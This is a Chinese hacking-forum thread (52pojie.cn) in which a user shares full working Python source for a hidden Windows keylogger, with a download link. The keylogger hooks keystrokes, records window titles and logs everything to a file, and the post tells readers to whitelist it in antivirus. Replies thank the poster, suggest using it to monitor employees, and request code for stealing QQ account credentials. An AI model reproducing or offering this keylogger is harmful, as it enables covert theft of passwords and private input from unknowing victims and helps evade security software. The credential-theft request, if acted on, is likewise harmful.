吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 28123|回复: 87
上一主题 下一主题
收起左侧

[Python 转载] 分享一个键盘记录器

    [复制链接]
跳转到指定楼层
楼主
fj0716 发表于 2019-8-2 15:58 回帖奖励
本帖最后由 fj0716 于 2019-8-2 16:13 编辑

源码是之前网上找的,自己修改了一下。已附上源码,不放心的可以自己编译打包。
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下。
记得有杀毒软件的添加到白名单。

链接: https://pan.baidu.com/s/18K5itPsO9d2wiAAYo6YpyQ 提取码: c1b3

[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: utf-8 -*-   
from ctypes import * 
import pythoncom 
import PyHook3
import win32clipboard 
import os,sys
import time
path=os.getcwd()
 
user32 = windll.user32 
kernel32 = windll.kernel32 
psapi = windll.psapi
current_window = None
 
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数 
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""
     
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 
    if event.Window != current_window: 
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr+="\n"+("-"*50)+"\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
        #print("\n-----------------")
        #print("窗口名:%s"%windowName)
        # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等) 
    if event.Ascii > 32 and event.Ascii <127:
        FileStr+=chr(event.Ascii)
        #print(chr(event.Ascii),end=''
    else:
        if(event.Key=="Space"):
            FileStr+=" "
        elif(event.Key=="Return"):
            FileStr+="[回车] "
        elif(event.Key=="Back"):
            FileStr+="[删除] "
    #写入文件   
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True
 
# 创建并注册hook管理器 
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent
 
 
#写入日期  
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n'+'#######################################'
    +'\n#'+' '*9+time.strftime('%Y-%m-%d %H:%M:%S')+' '*9+'#'
    +'\n'+'#######################################')
fp.close()
# 注册hook并执行 
kl.HookKeyboard()
pythoncom.PumpMessages()

免费评分

参与人数 13吾爱币 +13 热心值 +11 收起 理由
长歌暖浮生i + 1 谢谢@Thanks!
whisper_z + 1 我很赞同!
JohnHan + 1 谢谢@Thanks!
Geel + 1 + 1 我很赞同!
lxzhtxh13 + 1 + 1 问一下,如何退出呢?
吾爱妹子涛 + 1 + 1 谢谢@Thanks!
霜之毒 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
93ken + 1 + 1 聚聚,有没有 退出软件热键?
苏紫方璇 + 3 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
小帥 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
泳诗 + 1 我很赞同!
huzpsb + 1 hiahiahia
萌萌的 + 2 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Koribls 发表于 2019-8-5 01:47
楼主,有没有QQKey和QQ密正的源码,我知道这东西犯法,但是确实需要,大佬既然发了记录器,当然肯定会有记录QQKey和QQ密正的技术,希望大佬能研究一下发出来,感谢!
推荐
大白baymax 发表于 2021-7-25 12:32
缺少模块PyHook3,用pip也安装不成功,请问楼主咋办呢?
沙发
vixiaobai 发表于 2019-8-2 16:05
3#
ljhe 发表于 2019-8-2 16:10
谢谢分享 不错的
4#
zpycs 发表于 2019-8-2 16:10
感谢分享,下载试试。
5#
lingjin3 发表于 2019-8-2 16:29
很好用,非常感谢
6#
huyang20190313 发表于 2019-8-2 16:33
厉害了,先收藏了
7#
风经过 发表于 2019-8-2 16:36
支持了楼主,谢谢楼主
8#
yechipeng8 发表于 2019-8-2 16:38
对员工监控的好软件。。。。
9#
lyjackluck 发表于 2019-8-2 16:40
下载试下效果
10#
zhong_xj 发表于 2019-8-2 16:41
谢谢分享,下载试试
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-21 11:15

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表